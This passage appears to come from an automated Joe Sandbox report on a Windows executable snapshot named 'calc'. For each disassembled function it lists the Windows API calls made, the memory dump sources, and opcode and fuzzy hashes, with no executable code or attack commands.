      Function 004551AD Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 13libraryloaderCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • GetModuleHandleA.KERNEL32(KERNEL32,0044DC95), ref: 004551B2
      • GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 004551C2
      Strings
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: AddressHandleModuleProc
      • String ID: IsProcessorFeaturePresent$KERNEL32$`#v
      • API String ID: 1646373207-4200968520
      • Opcode ID: fc31ca84f5e165f95252b0e62b8a217bca41735e7ac5cce235b2bdaf83c21cb6
      • Instruction ID: 40fc8ca460b8c6a49fdf777bf37c8c5f379354e5d7432fbb057b73973fbd7f2c
      • Opcode Fuzzy Hash: fc31ca84f5e165f95252b0e62b8a217bca41735e7ac5cce235b2bdaf83c21cb6
      • Instruction Fuzzy Hash: 1EC04070785F05F7DE105BB15CA97373A585B44B43F244456BC09D05D3DE5CC908D52D
      Function 00451219 Relevance: 7.7, APIs: 5, Instructions: 189COMMONLIBRARYCODE
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: __set_statfp
      • String ID:
      • API String ID: 441778723-0
      • Opcode ID: 52ae6cc645bf3ce7b1888e412e0c71e2239a1c70beff03525a624c2e7823df0f
      • Instruction ID: aafa024366cfe14e36a4ce7ed12ccb1bd2abc6eada7316b3c0f4e51b7e6ebd75
      • Opcode Fuzzy Hash: 52ae6cc645bf3ce7b1888e412e0c71e2239a1c70beff03525a624c2e7823df0f
      • Instruction Fuzzy Hash: EB513731800E19D3EB144B94D8587AE7B70FF4135AF1946AADCE0A62F6CB78486DC34D
      Function 00454A84 Relevance: 7.7, APIs: 5, Instructions: 184COMMON
      Download Yara Rule
      APIs
      • VirtualQuery.KERNEL32(?,?,0000001C,?,?,?,?,?,0044D815,?), ref: 00454B37
      • InterlockedExchange.KERNEL32(00467970,00000001), ref: 00454BB5
      • InterlockedExchange.KERNEL32(00467970,00000000), ref: 00454C1A
      • InterlockedExchange.KERNEL32(00467970,00000001), ref: 00454C3E
      • InterlockedExchange.KERNEL32(00467970,00000000), ref: 00454C9E
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ExchangeInterlocked$QueryVirtual
      • String ID:
      • API String ID: 2947987494-0
      • Opcode ID: d3930fd77430739b71b2632bfe3ca3d3c1fc5acb29cc6cdf36d9155b892b8d0a
      • Instruction ID: c5d8ed88eee3e8925b2251e902281fd8498e535b2407cacacb70f59125c8bbb1
      • Opcode Fuzzy Hash: d3930fd77430739b71b2632bfe3ca3d3c1fc5acb29cc6cdf36d9155b892b8d0a
      • Instruction Fuzzy Hash: F0510A306556108FDB2A8F19C88476A73E1ABC571EF25412BDD528F293E378DCC9864D
      Function 0044DA7D Relevance: 7.7, APIs: 5, Instructions: 166COMMON
      Download Yara Rule
      APIs
      • WideCharToMultiByte.KERNEL32(?,00000000,0047E800,?,?,?,00000000,0047E800,?,00000010,00000000,?,00428642,?,0047E800,?), ref: 0044DB29
      • WideCharToMultiByte.KERNEL32(?,00000000,0047E800,000000FF,?,?,00000000,0047E800,?,00000010,00000000,?,00428642,?,0047E800,?), ref: 0044DB51
      • GetLastError.KERNEL32(?,00428642,?,0047E800,?), ref: 0044DB6C
      • WideCharToMultiByte.KERNEL32(?,00000000,?,00000001,?,00000000,0047E800,?,00428642,?,0047E800,?), ref: 0044DBAC
      • WideCharToMultiByte.KERNEL32(?,00000000,0047E800,000000FF,00000000,00000000,00000000,0047E800,?,00000010,00000000,?,00428642,?,0047E800,?), ref: 0044DC0A
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiWide$ErrorLast
      • String ID:
      • API String ID: 1717984340-0
      • Opcode ID: daf0ff7e96761f6d101a695ae533b38d38fb8ff934d62b7ca8e466a06cf05df1
      • Instruction ID: f0777e9540ddcf14f99e18fd38f2961c8e9e3acc4c0c3b114796979fdd6f36af
      • Opcode Fuzzy Hash: daf0ff7e96761f6d101a695ae533b38d38fb8ff934d62b7ca8e466a06cf05df1
      • Instruction Fuzzy Hash: 5F5189B1D0028AAFAF209F94CD848BFB7BAEB45314B26453FE51196250D734AD44CB69
      Function 0043C3F2 Relevance: 7.7, APIs: 5, Instructions: 151registryCOMMON
      Download Yara Rule
      APIs
      • RegConnectRegistryW.ADVAPI32(?,00000000,00000000), ref: 0043C499
      • RegOpenKeyExW.ADVAPI32(00000000,?,00000000,?,00000000), ref: 0043C4DE
      • RegEnumKeyExW.ADVAPI32(00000001,-00000001,?,000000FF,00000000,00000000,00000000,?), ref: 0043C532
      • RegCloseKey.ADVAPI32(00000001,?), ref: 0043C56B
        • Part of subcall function 0041FE6D: GetLastError.KERNEL32(00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE82
        • Part of subcall function 0041FE6D: FormatMessageW.KERNEL32(00001000,00000000,0047C7A0,00000000,0047C7A0,00000FFF,00000000,00430AD3), ref: 0041FE96
      • RegCloseKey.ADVAPI32(00000000), ref: 0043C579
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Close$ConnectEnumErrorFormatLastMessageOpenRegistry
      • String ID:
      • API String ID: 2844598385-0
      • Opcode ID: 79d8a1356644622c004dde99381a4694f708576a429563848669301cf1acc8f1
      • Instruction ID: ca18b23deec50a713599ee99bd298669572856c6e0ae2ddf99e87897c19de7b6
      • Opcode Fuzzy Hash: 79d8a1356644622c004dde99381a4694f708576a429563848669301cf1acc8f1
      • Instruction Fuzzy Hash: F1514D72800118FBCF10EFA1D8869EE7779EF18324F14455AF505A7152DB38EE85DBA8
      Function 0044D560 Relevance: 7.7, APIs: 5, Instructions: 151COMMON
      Download Yara Rule
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID:
      • String ID:
      • API String ID:
      • Opcode ID: e3fcddccb7fb5d548f2eb15bee4913da0b76aa550ee592dd70d90c3dc4b37c31
      • Instruction ID: 3f26043b1fee1b9c9fc7dfd08f39e7adaabf58cb7090512c6284b74f89030849
      • Opcode Fuzzy Hash: e3fcddccb7fb5d548f2eb15bee4913da0b76aa550ee592dd70d90c3dc4b37c31
      • Instruction Fuzzy Hash: 99410571D00225ABFF307FA69C848AF7A64EB05318711463FF819A6292DB3D4D00CB9D
      Function 0042F107 Relevance: 7.6, APIs: 5, Instructions: 142networkCOMMON
      Download Yara Rule
      APIs
      • select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 0042F19C
      • WSAGetLastError.WS2_32(00000000,0045C6D0), ref: 0042F1A7
      • __WSAFDIsSet.WS2_32(00000000,00000001), ref: 0042F1D1
      • _strlen.LIBCMT ref: 0042F227
        • Part of subcall function 0041684E: _strlen.LIBCMT ref: 0041685F
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416879
        • Part of subcall function 0041684E: MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,0047BD30,?,?,00410545,00000000), ref: 00416898
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiWide_strlen$ErrorLastselect
      • String ID:
      • API String ID: 3011618667-0
      • Opcode ID: 8740fd59fb79ba9ee8805b8c3b106299e716106ab90322acfc2372d10890ddfd
      • Instruction ID: 49a0b57b1716e881498c6cccfb7f5a7b1c7207353685988fd0dcfc9e43c18dba
      • Opcode Fuzzy Hash: 8740fd59fb79ba9ee8805b8c3b106299e716106ab90322acfc2372d10890ddfd
      • Instruction Fuzzy Hash: C3410435600218EBDB20EAA5D8819EF73B8EF05324F9045BFF815D7251DB38ED448B69
      Function 00426415 Relevance: 7.6, APIs: 5, Instructions: 116COMMON
      Download Yara Rule
      APIs
      • GetPrivateProfileSectionW.KERNEL32(00000000,?,00007FFF,?), ref: 004264A4
      • GetPrivateProfileSectionW.KERNEL32(00000000,?,00000003,?), ref: 004264D2
      • WritePrivateProfileSectionW.KERNEL32(00000000,?,?), ref: 00426512
      • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00426540
      • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 0042654C
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: PrivateProfile$SectionWrite$String
      • String ID:
      • API String ID: 2832842796-0
      • Opcode ID: 8f719fff5e83398928dd831625c1d3b39390cd97dfba9a082a54ed380818f0d3
      • Instruction ID: 090de75c44e30297ca10da119c2b442c0f809bd188c017535f1850e90268234a
      • Opcode Fuzzy Hash: 8f719fff5e83398928dd831625c1d3b39390cd97dfba9a082a54ed380818f0d3
      • Instruction Fuzzy Hash: 58418335A0022AEBDB10EB56DC44E9AB7B8FF04324F45819BE544A7641CB38FD85CF98
      Function 00417AB2 Relevance: 7.6, APIs: 5, Instructions: 108sleepCOMMON
      Download Yara Rule
      APIs
      • InterlockedIncrement.KERNEL32(004783F4), ref: 00417ADC
      • InterlockedDecrement.KERNEL32(004783F4), ref: 00417AED
      • Sleep.KERNEL32(0000000A,?,?), ref: 00417AF5
      • InterlockedIncrement.KERNEL32(004783F4), ref: 00417AFC
      • InterlockedDecrement.KERNEL32(004783F4), ref: 00417BF6
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Interlocked$DecrementIncrement$Sleep
      • String ID:
      • API String ID: 327565842-0
      • Opcode ID: 90fc57a381e00715e35afd465dc5a8ff7c57ea430ae1844c7da5232fb6eedf94
      • Instruction ID: e540b121462b817b5aae6ec427a49763a98f73807a2fb50418b342084706f20a
      • Opcode Fuzzy Hash: 90fc57a381e00715e35afd465dc5a8ff7c57ea430ae1844c7da5232fb6eedf94
      • Instruction Fuzzy Hash: FE41AF32804106DFDB04DF68DD45AEE73B4EF44349B11402EE919A7262DB39AE85CBD8
      Function 0044C70C Relevance: 7.6, APIs: 5, Instructions: 99COMMON
      Download Yara Rule
      APIs
      • MultiByteToWideChar.KERNEL32(00000000,00000009,00420EA3,000000FF,?,00000028,00000000,004184C3,00000000,?,?,0044C82E,?,?,?,?), ref: 0044C771
      • GetLastError.KERNEL32(?,?,0044C82E,?,?,?,?,00449209,004184C3,?,00000028,00420EA3,?,004783F4,00000000), ref: 0044C77B
      • MultiByteToWideChar.KERNEL32(00000000,00000001,00420EA3,00420EA3,?,00000028,?,?,0044C82E,?,?,?,?,00449209,004184C3,?), ref: 0044C7D0
      • _strlen.LIBCMT ref: 0044C7E3
      • MultiByteToWideChar.KERNEL32(00000000,00000009,00420EA3,000000FF,00000000,00000000,00000000,004184C3,00000000,?,?,0044C82E,?,?,?,?), ref: 0044C7F7
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiWide$ErrorLast_strlen
      • String ID:
      • API String ID: 1602738612-0
      • Opcode ID: eba79e8160cde25b70985ce8e81dd59c05e2ed59557b5e24ec2982564c7b595c
      • Instruction ID: a058c07e26b641bbfc192da87883db441c84c92e3ac80c53c66dc71070b0c3ca
      • Opcode Fuzzy Hash: eba79e8160cde25b70985ce8e81dd59c05e2ed59557b5e24ec2982564c7b595c
      • Instruction Fuzzy Hash: 3031037060221AAFFB619F25CCC4A7B7B65FF01765F284126F551962A1C378CC50DBA8
      Function 00401CA6 Relevance: 7.6, APIs: 5, Instructions: 98sleepwindowCOMMON
      Download Yara Rule
      APIs
      • GetWindowRect.USER32(?,?), ref: 00401CC7
      • PostMessageW.USER32(00000203,00000201,?), ref: 00401D88
      • Sleep.KERNEL32(00000000), ref: 00401D8C
      • PostMessageW.USER32(00000203,00000202,00000000), ref: 00401D99
      • Sleep.KERNEL32(00000000), ref: 00401D9D
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessagePostSleep$RectWindow
      • String ID:
      • API String ID: 3382505437-0
      • Opcode ID: 7fbab86b68605c3689304c4830e95d246c56bc5e426fb2400a3c8aeb11d6a3b5
      • Instruction ID: 3497ea4d360e579767fbcf44d23d4e2b7884bdb53c7986785f295a9f05f9fe14
      • Opcode Fuzzy Hash: 7fbab86b68605c3689304c4830e95d246c56bc5e426fb2400a3c8aeb11d6a3b5
      • Instruction Fuzzy Hash: 81317271900219EFDF00CFA9C848ADE7BB5FF44324F11862AE824A72E0D778AA01DF54
      Function 0044D99A Relevance: 7.6, APIs: 5, Instructions: 92memoryCOMMON
      Download Yara Rule
      APIs
      • VirtualQuery.KERNEL32(?,?,0000001C), ref: 0044D9B4
      • GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0044D9C5
      • VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0044DA0B
      • VirtualAlloc.KERNEL32(?,?,00001000,00000004,?,?,0000001C), ref: 0044DA49
      • VirtualProtect.KERNEL32(?,?,00000002,?,?,?,0000001C), ref: 0044DA6F
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Virtual$Query$AllocInfoProtectSystem
      • String ID:
      • API String ID: 4136887677-0
      • Opcode ID: 43b05488773f8ade2c74076fdcdff7ffeccff98ac9e085d27ad2e5a2c5c51133
      • Instruction ID: a43d628128a8e04a91b8abd909b70af1ccdebefb45351d68ac4c75b7ee95a1d4
      • Opcode Fuzzy Hash: 43b05488773f8ade2c74076fdcdff7ffeccff98ac9e085d27ad2e5a2c5c51133
      • Instruction Fuzzy Hash: C131BF72D04219EBEF10CFA4DD49AEE7BB8EB08355F140566E901F7290DB788E40DB98
      Function 00406CF6 Relevance: 7.6, APIs: 5, Instructions: 86windowCOMMON
      Download Yara Rule
      APIs
      • ExtractIconExW.SHELL32(?,?,00000000,?,00000001), ref: 00406D5C
      • LoadImageW.USER32(00000000,?,00000001,00000000,00000000,00000050), ref: 00406D6D
      • DestroyCursor.USER32(?), ref: 00406D83
      • SendMessageW.USER32(?,00000080,00000000,?), ref: 00406D9B
      • InvalidateRect.USER32(?,00000000,00000001), ref: 00406DCB
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: CursorDestroyExtractIconImageInvalidateLoadMessageRectSend
      • String ID:
      • API String ID: 3808587923-0
      • Opcode ID: 36ff14aeb739d8a85322478fd1b35111299d01693d0169730d835306efe88b92
      • Instruction ID: c21ef0cf77d829efdd81d2e82e102ae9a9487c8db7f6a13140ca5d1279e7c5bd
      • Opcode Fuzzy Hash: 36ff14aeb739d8a85322478fd1b35111299d01693d0169730d835306efe88b92
      • Instruction Fuzzy Hash: D0317C71600249FFCF11DF64DC849AA7BB9FF04355B11853AF916A6290D339EDA0CB98
      Function 0040850D Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
      Download Yara Rule
      APIs
      • DeleteObject.GDI32(?), ref: 00408529
      • 73E9A570.USER32(00000000,?,00000001,?), ref: 00408530
      • CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000002,000000FF,000000FF,000000FF,00000001,00000004,00000000,00000002,00000000,?), ref: 00408582
      • SendMessageW.USER32(000000FF,00000030,00000000,00000001), ref: 00408592
      • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 004085BA
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: A570CreateDeleteFontMessageMoveObjectSendWindow
      • String ID:
      • API String ID: 1844107694-0
      • Opcode ID: 87d978335de6d63e769d116ec5567d66e3bca6e5e14d1150b9a6aef3f29b13dc
